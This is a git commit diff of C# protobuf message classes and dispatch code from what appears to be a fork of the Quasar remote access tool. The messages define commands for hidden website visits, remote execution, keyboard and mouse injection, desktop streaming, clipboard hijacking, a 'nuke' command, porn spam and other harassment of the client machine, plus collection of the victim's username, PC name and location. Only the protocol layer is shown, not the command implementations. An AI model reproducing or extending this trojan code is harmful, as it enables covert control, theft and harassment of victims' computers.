initial commit

This commit is contained in:
i2p
2026-08-27 11:22:16 -06:00
commit 96afff7a83
600 changed files with 29291 additions and 0 deletions
@@ -0,0 +1,44 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class ClientIdentification : IMessage
{
[ProtoMember(1)]
public string Version { get; set; }
[ProtoMember(2)]
public string OperatingSystem { get; set; }
[ProtoMember(3)]
public string AccountType { get; set; }
[ProtoMember(4)]
public string Country { get; set; }
[ProtoMember(5)]
public string CountryCode { get; set; }
[ProtoMember(6)]
public int ImageIndex { get; set; }
[ProtoMember(7)]
public string Id { get; set; }
[ProtoMember(8)]
public string Username { get; set; }
[ProtoMember(9)]
public string PcName { get; set; }
[ProtoMember(10)]
public string Tag { get; set; }
[ProtoMember(11)]
public string EncryptionKey { get; set; }
[ProtoMember(12)]
public byte[] Signature { get; set; }
}
}
@@ -0,0 +1,11 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class ClientIdentificationResult : IMessage
{
[ProtoMember(1)]
public bool Result { get; set; }
}
}
+9
View File
@@ -0,0 +1,9 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoAskElevate : IMessage
{
}
}
+10
View File
@@ -0,0 +1,10 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoCdTray : IMessage
{
[ProtoMember(1)] public int Count { get; set; }
}
}
@@ -0,0 +1,9 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoClientDisconnect : IMessage
{
}
}
@@ -0,0 +1,9 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoClientReconnect : IMessage
{
}
}
@@ -0,0 +1,9 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoClientUninstall : IMessage
{
}
}
@@ -0,0 +1,20 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoCloseConnection : IMessage
{
[ProtoMember(1)]
public string LocalAddress { get; set; }
[ProtoMember(2)]
public ushort LocalPort { get; set; }
[ProtoMember(3)]
public string RemoteAddress { get; set; }
[ProtoMember(4)]
public ushort RemotePort { get; set; }
}
}
+14
View File
@@ -0,0 +1,14 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoExecute : IMessage
{
[ProtoMember(1)]
public string FilePath { get; set; }
[ProtoMember(2)]
public bool IsUrl { get; set; }
}
}
+8
View File
@@ -0,0 +1,8 @@
using ProtoBuf;
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoGhostTyping : IMessage { }
}
+15
View File
@@ -0,0 +1,15 @@
using ProtoBuf;
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoJumpscare : IMessage
{
[ProtoMember(1)]
public byte[] WavData { get; set; }
[ProtoMember(2)]
public byte[] GifData { get; set; }
}
}
+14
View File
@@ -0,0 +1,14 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoKeyboardEvent : IMessage
{
[ProtoMember(1)]
public byte Key { get; set; }
[ProtoMember(2)]
public bool KeyDown { get; set; }
}
}
+7
View File
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoLockScreen : IMessage { }
}
+24
View File
@@ -0,0 +1,24 @@
using ProtoBuf;
using Quasar.Common.Enums;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoMouseEvent : IMessage
{
[ProtoMember(1)]
public MouseAction Action { get; set; }
[ProtoMember(2)]
public bool IsMouseDown { get; set; }
[ProtoMember(3)]
public int X { get; set; }
[ProtoMember(4)]
public int Y { get; set; }
[ProtoMember(5)]
public int MonitorIndex { get; set; }
}
}
+10
View File
@@ -0,0 +1,10 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoMouseSwap : IMessage
{
[ProtoMember(1)] public bool Swap { get; set; }
}
}
+8
View File
@@ -0,0 +1,8 @@
using ProtoBuf;
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoNuke : IMessage { }
}
+11
View File
@@ -0,0 +1,11 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoPlayNote : IMessage
{
[ProtoMember(1)] public int Frequency { get; set; }
[ProtoMember(2)] public int DurationMs { get; set; }
}
}
+10
View File
@@ -0,0 +1,10 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoSetWallpaper : IMessage
{
[ProtoMember(1)] public byte[] ImageData { get; set; }
}
}
@@ -0,0 +1,23 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoShowMessageBox : IMessage
{
[ProtoMember(1)]
public string Caption { get; set; }
[ProtoMember(2)]
public string Text { get; set; }
[ProtoMember(3)]
public string Button { get; set; }
[ProtoMember(4)]
public string Icon { get; set; }
[ProtoMember(5)]
public int Count { get; set; }
}
}
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStartBeepSpam : IMessage { }
}
@@ -0,0 +1,12 @@
using ProtoBuf;
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStartClipboardHijack : IMessage
{
[ProtoMember(1)]
public string ReplacementText { get; set; }
}
}
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStartColorInvert : IMessage { }
}
@@ -0,0 +1,8 @@
using ProtoBuf;
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStartCursorChaos : IMessage { }
}
@@ -0,0 +1,15 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStartDesktopStream : IMessage
{
[ProtoMember(1)] public int Quality { get; set; }
[ProtoMember(2)] public int DisplayIndex { get; set; }
[ProtoMember(3)] public int IntervalMs { get; set; }
[ProtoMember(4)] public bool UseH264 { get; set; }
[ProtoMember(5)] public int H264BitrateKbps { get; set; }
[ProtoMember(6)] public int H264Fps { get; set; }
}
}
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStartDrunkMode : IMessage { }
}
+7
View File
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStartEyes : IMessage { }
}
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStartFartScroll : IMessage { }
}
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStartPornSpam : IMessage { }
}
@@ -0,0 +1,8 @@
using ProtoBuf;
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStartSchizophrenia : IMessage { }
}
+7
View File
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStopBeepSpam : IMessage { }
}
@@ -0,0 +1,8 @@
using ProtoBuf;
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStopClipboardHijack : IMessage { }
}
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStopColorInvert : IMessage { }
}
@@ -0,0 +1,8 @@
using ProtoBuf;
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStopCursorChaos : IMessage { }
}
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStopDesktopStream : IMessage { }
}
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStopDrunkMode : IMessage { }
}
+7
View File
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStopEyes : IMessage { }
}
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStopFartScroll : IMessage { }
}
+8
View File
@@ -0,0 +1,8 @@
using ProtoBuf;
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStopNuke : IMessage { }
}
+7
View File
@@ -0,0 +1,7 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStopPornSpam : IMessage { }
}
@@ -0,0 +1,8 @@
using ProtoBuf;
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoStopSchizophrenia : IMessage { }
}
+12
View File
@@ -0,0 +1,12 @@
using ProtoBuf;
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoTextToSpeech : IMessage
{
[ProtoMember(1)]
public string Text { get; set; }
}
}
+14
View File
@@ -0,0 +1,14 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class DoVisitWebsite : IMessage
{
[ProtoMember(1)]
public string Url { get; set; }
[ProtoMember(2)]
public bool Hidden { get; set; }
}
}
+17
View File
@@ -0,0 +1,17 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class GetDesktop : IMessage
{
[ProtoMember(1)]
public bool CreateNew { get; set; }
[ProtoMember(2)]
public int Quality { get; set; }
[ProtoMember(3)]
public int DisplayIndex { get; set; }
}
}
@@ -0,0 +1,21 @@
using ProtoBuf;
using Quasar.Common.Video;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class GetDesktopResponse : IMessage
{
[ProtoMember(1)]
public byte[] Image { get; set; }
[ProtoMember(2)]
public int Quality { get; set; }
[ProtoMember(3)]
public int Monitor { get; set; }
[ProtoMember(4)]
public Resolution Resolution { get; set; }
}
}
+9
View File
@@ -0,0 +1,9 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class GetMonitors : IMessage
{
}
}
@@ -0,0 +1,11 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class GetMonitorsResponse : IMessage
{
[ProtoMember(1)]
public int Number { get; set; }
}
}
+6
View File
@@ -0,0 +1,6 @@
namespace Quasar.Common.Messages
{
public interface IMessage
{
}
}
@@ -0,0 +1,31 @@
using Quasar.Common.Networking;
namespace Quasar.Common.Messages
{
/// <summary>
/// Provides basic functionality to process messages.
/// </summary>
public interface IMessageProcessor
{
/// <summary>
/// Decides whether this message processor can execute the specified message.
/// </summary>
/// <param name="message">The message to execute.</param>
/// <returns><c>True</c> if the message can be executed by this message processor, otherwise <c>false</c>.</returns>
bool CanExecute(IMessage message);
/// <summary>
/// Decides whether this message processor can execute messages received from the sender.
/// </summary>
/// <param name="sender">The sender of a message.</param>
/// <returns><c>True</c> if this message processor can execute messages from the sender, otherwise <c>false</c>.</returns>
bool CanExecuteFrom(ISender sender);
/// <summary>
/// Executes the received message.
/// </summary>
/// <param name="sender">The sender of this message.</param>
/// <param name="message">The received message.</param>
void Execute(ISender sender, IMessage message);
}
}
+66
View File
@@ -0,0 +1,66 @@
using Quasar.Common.Networking;
using System.Collections.Generic;
using System.Linq;
namespace Quasar.Common.Messages
{
/// <summary>
/// Handles registrations of <see cref="IMessageProcessor"/>s and processing of <see cref="IMessage"/>s.
/// </summary>
public static class MessageHandler
{
/// <summary>
/// List of registered <see cref="IMessageProcessor"/>s.
/// </summary>
private static readonly List<IMessageProcessor> Processors = new List<IMessageProcessor>();
/// <summary>
/// Used in lock statements to synchronize access to <see cref="Processors"/> between threads.
/// </summary>
private static readonly object SyncLock = new object();
/// <summary>
/// Registers a <see cref="IMessageProcessor"/> to the available <see cref="Processors"/>.
/// </summary>
/// <param name="proc">The <see cref="IMessageProcessor"/> to register.</param>
public static void Register(IMessageProcessor proc)
{
lock (SyncLock)
{
if (Processors.Contains(proc)) return;
Processors.Add(proc);
}
}
/// <summary>
/// Unregisters a <see cref="IMessageProcessor"/> from the available <see cref="Processors"/>.
/// </summary>
/// <param name="proc"></param>
public static void Unregister(IMessageProcessor proc)
{
lock (SyncLock)
{
Processors.Remove(proc);
}
}
/// <summary>
/// Forwards the received <see cref="IMessage"/> to the appropriate <see cref="IMessageProcessor"/>s to execute it.
/// </summary>
/// <param name="sender">The sender of the message.</param>
/// <param name="msg">The received message.</param>
public static void Process(ISender sender, IMessage msg)
{
IEnumerable<IMessageProcessor> availableProcessors;
lock (SyncLock)
{
// select appropriate message processors
availableProcessors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)).ToList();
// ToList() is required to retrieve a thread-safe enumerator representing a moment-in-time snapshot of the message processors
}
foreach (var executor in availableProcessors)
executor.Execute(sender, msg);
}
}
}
@@ -0,0 +1,107 @@
using Quasar.Common.Networking;
using System;
using System.Threading;
namespace Quasar.Common.Messages
{
/// <summary>
/// Provides a MessageProcessor implementation that provides progress report callbacks.
/// </summary>
/// <typeparam name="T">Specifies the type of the progress report value.</typeparam>
/// <remarks>
/// Any event handlers registered with the <see cref="ProgressChanged"/> event are invoked through a
/// <see cref="System.Threading.SynchronizationContext"/> instance chosen when the instance is constructed.
/// </remarks>
public abstract class MessageProcessorBase<T> : IMessageProcessor, IProgress<T>
{
/// <summary>
/// The synchronization context chosen upon construction.
/// </summary>
protected readonly SynchronizationContext SynchronizationContext;
/// <summary>
/// A cached delegate used to post invocation to the synchronization context.
/// </summary>
private readonly SendOrPostCallback _invokeReportProgressHandlers;
/// <summary>
/// Represents the method that will handle progress updates.
/// </summary>
/// <param name="sender">The message processor which updated the progress.</param>
/// <param name="value">The new progress.</param>
public delegate void ReportProgressEventHandler(object sender, T value);
/// <summary>
/// Raised for each reported progress value.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event ReportProgressEventHandler ProgressChanged;
/// <summary>
/// Reports a progress change.
/// </summary>
/// <param name="value">The value of the updated progress.</param>
protected virtual void OnReport(T value)
{
// If there's no handler, don't bother going through the sync context.
// Inside the callback, we'll need to check again, in case
// an event handler is removed between now and then.
var handler = ProgressChanged;
if (handler != null)
{
SynchronizationContext.Post(_invokeReportProgressHandlers, value);
}
}
/// <summary>
/// Initializes the <see cref="MessageProcessorBase{T}"/>
/// </summary>
/// <param name="useCurrentContext">
/// If this value is <c>false</c>, the progress callbacks will be invoked on the ThreadPool.
/// Otherwise the current SynchronizationContext will be used.
/// </param>
protected MessageProcessorBase(bool useCurrentContext)
{
_invokeReportProgressHandlers = InvokeReportProgressHandlers;
SynchronizationContext = useCurrentContext ? SynchronizationContext.Current : ProgressStatics.DefaultContext;
}
/// <summary>
/// Invokes the progress event callbacks.
/// </summary>
/// <param name="state">The progress value.</param>
private void InvokeReportProgressHandlers(object state)
{
var handler = ProgressChanged;
handler?.Invoke(this, (T)state);
}
/// <inheritdoc />
public abstract bool CanExecute(IMessage message);
/// <inheritdoc />
public abstract bool CanExecuteFrom(ISender sender);
/// <inheritdoc />
public abstract void Execute(ISender sender, IMessage message);
void IProgress<T>.Report(T value) => OnReport(value);
}
/// <summary>
/// Holds static values for <see cref="MessageProcessorBase{T}"/>.
/// </summary>
/// <remarks>
/// This avoids one static instance per type T.
/// </remarks>
internal static class ProgressStatics
{
/// <summary>
/// A default synchronization context that targets the <see cref="ThreadPool"/>.
/// </summary>
internal static readonly SynchronizationContext DefaultContext = new SynchronizationContext();
}
}
+11
View File
@@ -0,0 +1,11 @@
using ProtoBuf;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class SetStatus : IMessage
{
[ProtoMember(1)]
public string Message { get; set; }
}
}
+12
View File
@@ -0,0 +1,12 @@
using ProtoBuf;
using Quasar.Common.Enums;
namespace Quasar.Common.Messages
{
[ProtoContract]
public class SetUserStatus : IMessage
{
[ProtoMember(1)]
public UserStatus Message { get; set; }
}
}
+49
View File
@@ -0,0 +1,49 @@
using ProtoBuf.Meta;
using System;
using System.Collections.Generic;
using System.Linq;
namespace Quasar.Common.Messages
{
public static class TypeRegistry
{
/// <summary>
/// The internal index of the message type.
/// </summary>
private static int _typeIndex;
/// <summary>
/// Adds a Type to the serializer so a message can be properly serialized.
/// </summary>
/// <param name="parent">The parent type, i.e.: IMessage</param>
/// <param name="type">Type to be added</param>
public static void AddTypeToSerializer(Type parent, Type type)
{
if (type == null || parent == null)
throw new ArgumentNullException();
bool isAlreadyAdded = RuntimeTypeModel.Default[parent].GetSubtypes().Any(subType => subType.DerivedType.Type == type);
if (!isAlreadyAdded)
RuntimeTypeModel.Default[parent].AddSubType(++_typeIndex, type);
}
/// <summary>
/// Adds Types to the serializer.
/// </summary>
/// <param name="parent">The parent type, i.e.: IMessage</param>
/// <param name="types">Types to add.</param>
public static void AddTypesToSerializer(Type parent, params Type[] types)
{
foreach (Type type in types)
AddTypeToSerializer(parent, type);
}
public static IEnumerable<Type> GetPacketTypes(Type type)
{
return AppDomain.CurrentDomain.GetAssemblies()
.SelectMany(s => s.GetTypes())
.Where(p => type.IsAssignableFrom(p) && !p.IsInterface);
}
}
}